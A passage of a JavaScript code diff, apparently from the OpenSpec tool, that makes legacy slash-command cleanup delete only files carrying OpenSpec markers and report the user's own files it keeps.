* not written by OpenSpec. Returns true when the directory was removed.
|
|
312
|
+
*/
|
|
313
|
+
async function settleLegacyCommandDir(projectPath, dirPath, result) {
|
|
314
|
+
const fullPath = FileSystemUtils.joinPath(projectPath, dirPath);
|
|
315
|
+
const remaining = await readLegacyCommandDir(fullPath, []);
|
|
316
|
+
if (!remaining) {
|
|
317
|
+
return false;
|
|
318
|
+
}
|
|
319
|
+
if (remaining.others.length === 0) {
|
|
320
|
+
await fs.rmdir(fullPath);
|
|
321
|
+
result.deletedDirs.push(dirPath);
|
|
322
|
+
return true;
|
|
323
|
+
}
|
|
324
|
+
result.keptFiles.push(...remaining.others.map((name) => `${dirPath}/${name}`));
|
|
325
|
+
return false;
|
|
326
|
+
}
|
|
327
|
+
/**
|
|
328
|
+
* Whether a file is a legacy command OpenSpec generated: a regular file (not a
|
|
329
|
+
* link) whose content carries the OpenSpec markers. Every legacy slash command
|
|
330
|
+
* was written with them, and OpenSpec refused to update one that lost them, so
|
|
331
|
+
* a same-named file without them is the user's.
|
|
332
|
+
*/
|
|
333
|
+
async function isGeneratedLegacyCommand(filePath) {
|
|
334
|
+
try {
|
|
335
|
+
if (!(await fs.lstat(filePath)).isFile()) {
|
|
336
|
+
return false;
|
|
337
|
+
}
|
|
338
|
+
return hasOpenSpecMarkers(await fs.readFile(filePath, 'utf-8'));
|
|
339
|
+
}
|
|
340
|
+
catch {
|
|
341
|
+
return false;
|
|
342
|
+
}
|
|
343
|
+
}
|
|
238
344
|
/**
|
|
239
345
|
* Detects legacy global slash command files.
|
|
240
346
|
*
|
|
@@ -376,6 +482,7 @@ export async function cleanupLegacyArtifacts(projectPath, detection) {
|
|
|
376
482
|
deletedFileReplacementLabels: {},
|
|
377
483
|
modifiedFiles: [],
|
|
378
484
|
deletedDirs: [],
|
|
485
|
+
keptFiles: [],
|
|
379
486
|
projectMdNeedsMigration: detection.hasProjectMd,
|
|
380
487
|
errors: [],
|
|
381
488
|
};
|
|
@@ -394,21 +501,50 @@ export async function cleanupLegacyArtifacts(projectPath, detection) {
|
|
|
394
501
|
result.errors.push(`Failed to modify ${fileName}: ${error.message}`);
|
|
395
502
|
}
|
|
396
503
|
}
|
|
397
|
-
// Delete legacy slash command directories
|
|
504
|
+
// Delete legacy slash command directories: only the files OpenSpec wrote,
|
|
505
|
+
// then the directory once it is empty. Detection reports a directory only
|
|
506
|
+
// when it holds nothing else, but a file the user added since is still kept.
|
|
398
507
|
for (const dirPath of detection.slashCommandDirs) {
|
|
399
508
|
const fullPath = FileSystemUtils.joinPath(projectPath, dirPath);
|
|
400
509
|
try {
|
|
401
|
-
|
|
402
|
-
|
|
510
|
+
const managedFileNames = legacyManagedFileNamesForDir(dirPath);
|
|
511
|
+
const entries = await readLegacyCommandDir(fullPath, managedFileNames);
|
|
512
|
+
if (!entries) {
|
|
513
|
+
continue;
|
|
514
|
+
}
|
|
515
|
+
const deleted = [];
|
|
516
|
+
for (const name of entries.managed) {
|
|
517
|
+
const filePath = path.join(fullPath, name);
|
|
518
|
+
// Check again just before deleting: the file may have been replaced
|
|
519
|
+
// with the user's own since the scan. A kept file is reported below.
|
|
520
|
+
if (!(await isGeneratedLegacyCommand(filePath))) {
|
|
521
|
+
continue;
|
|
522
|
+
}
|
|
523
|
+
await fs.unlink(filePath);
|
|
524
|
+
deleted.push(name);
|
|
525
|
+
}
|
|
526
|
+
if (!(await settleLegacyCommandDir(projectPath, dirPath, result))) {
|
|
527
|
+
result.deletedFiles.push(...deleted.map((name) => `${dirPath}/${name}`));
|
|
528
|
+
}
|
|
403
529
|
}
|
|
404
530
|
catch (error) {
|
|
405
531
|
result.errors.push(`Failed to delete directory ${dirPath}: ${error.message}`);
|
|
406
532
|
}
|
|
407
533
|
}
|
|
408
534
|
// Delete legacy slash command files (these are 100% OpenSpec-managed)
|
|
535
|
+
const partlyCleanedDirs = new Set();
|
|
409
536
|
for (const filePath of detection.slashCommandFiles) {
|
|
410
537
|
const fullPath = FileSystemUtils.joinPath(projectPath, filePath);
|
|
411
538
|
try {
|
|
539
|
+
const commandDir = legacyCommandDirForFile(filePath);
|
|
540
|
+
if (commandDir) {
|
|
541
|
+
partlyCleanedDirs.add(commandDir.dir);
|
|
542
|
+
// Check again just before deleting: the file may have been replaced
|
|
543
|
+
// with the user's own since detection. A kept file is reported below.
|
|
544
|
+
if (!(await isGeneratedLegacyCommand(fullPath))) {
|
|
545
|
+
continue;
|
|
546
|
+
}
|
|
547
|
+
}
|
|
412
548
|
await fs.unlink(fullPath);
|
|
413
549
|
result.deletedFiles.push(filePath);
|
|
414
550
|
}
|
|
@@ -416,6 +552,16 @@ export async function cleanupLegacyArtifacts(projectPath, detection) {
|
|
|
416
552
|
result.errors.push(`Failed to delete ${filePath}: ${error.message}`);
|
|
417
553
|
}
|
|
418
554
|
}
|
|
555
|
+
// A legacy command directory that also held the user's files was cleaned
|
|
556
|
+
// file by file above; record what was left in it.
|
|
557
|
+
for (const dirPath of partlyCleanedDirs) {
|
|
558
|
+
try {
|
|
559
|
+
await settleLegacyCommandDir(projectPath, dirPath, result);
|
|
560
|
+
}
|
|
561
|
+
catch (error) {
|
|
562
|
+
result.errors.push(`Failed to delete directory ${dirPath}: ${error.message}`);
|
|
563
|
+
}
|
|
564
|
+
}
|
|
419
565
|
// Delete managed global slash command files (these are 100% OpenSpec-managed)
|
|
420
566
|
const globalPromptMatchesByPath = new Map(getLegacyGlobalPromptMatches(detection).map((prompt) => [prompt.path, prompt]));
|
|
421
567
|
for (const filePath of detection.globalSlashCommandFiles) {
|
|
@@ -461,7 +607,11 @@ export async function cleanupLegacyArtifacts(projectPath, detection) {
|
|
|
461
607
|
*/
|
|
462
608
|
export function formatCleanupSummary(result) {
|
|
463
609
|
const lines = [];
|
|
464
|
-
|
|
610
|
+
const keptFiles = result.keptFiles ?? [];
|
|
611
|
+
if (result.deletedFiles.length > 0 ||
|
|
612
|
+
result.deletedDirs.length > 0 ||
|
|
613
|
+
result.modifiedFiles.length > 0 ||
|
|
614
|
+
keptFiles.length > 0) {
|
|
465
615
|
lines.push('Cleaned up legacy files:');
|
|
466
616
|
for (const file of result.deletedFiles) {
|
|
467
617
|
const replacementLabel = result.deletedFileReplacementLabels?.[file]
|
|
@@ -474,6 +624,9 @@ export function formatCleanupSummary(result) {
|
|
|
474
624
|
for (const dir of result.deletedDirs) {
|
|
475
625
|
lines.push(` ✓ Removed ${dir}/ (replaced by OpenSpec skills and commands)`);
|
|
476
626
|
}
|
|
627
|
+
for (const entry of keptFiles) {
|
|
628
|
+
lines.push(` • Kept ${entry} (not created by OpenSpec)`);
|
|
629
|
+
}
|
|
477
630
|
for (const file of result.modifiedFiles) {
|
|
478
631
|
lines.push(` ✓ Removed OpenSpec markers from ${file}`);
|
|
479
632
|
}
|
|
@@ -643,8 +796,23 @@ function legacyToolIdForDir(dir) {
|
|
|
643
796
|
}
|
|
644
797
|
return undefined;
|
|
645
798
|
}
|
|
799
|
+
/** The files OpenSpec wrote into a repo-local legacy slash-command directory. */
|
|
800
|
+
function legacyManagedFileNamesForDir(dir) {
|
|
801
|
+
const normalizedDir = normalizePathForMatch(dir);
|
|
802
|
+
for (const pattern of Object.values(LEGACY_SLASH_COMMAND_PATHS)) {
|
|
803
|
+
if (pattern.type === 'directory' && pattern.path === normalizedDir) {
|
|
804
|
+
return pattern.managedFileNames ?? [];
|
|
805
|
+
}
|
|
806
|
+
}
|
|
807
|
+
return [];
|
|
808
|
+
}
|
|
646
809
|
/** The tool that owns a repo-local legacy slash-command file, if any. */
|
|
647
810
|
function legacyToolIdForFile(file) {
|
|
811
|
+
// A file from a directory-based tool, reported because the directory also
|
|
812
|
+
// holds the user's own files.
|
|
813
|
+
const commandDir = legacyCommandDirForFile(file);
|
|
814
|
+
if (commandDir)
|
|
815
|
+
return commandDir.toolId;
|
|
648
816
|
// Normalize to forward slashes so the glob patterns match on Windows too.
|
|
649
817
|
const normalizedFile = normalizePathForMatch(file);
|
|
650
818
|
for (const [toolId, pattern] of Object.entries(LEGACY_SLASH_COMMAND_PATHS)) {
|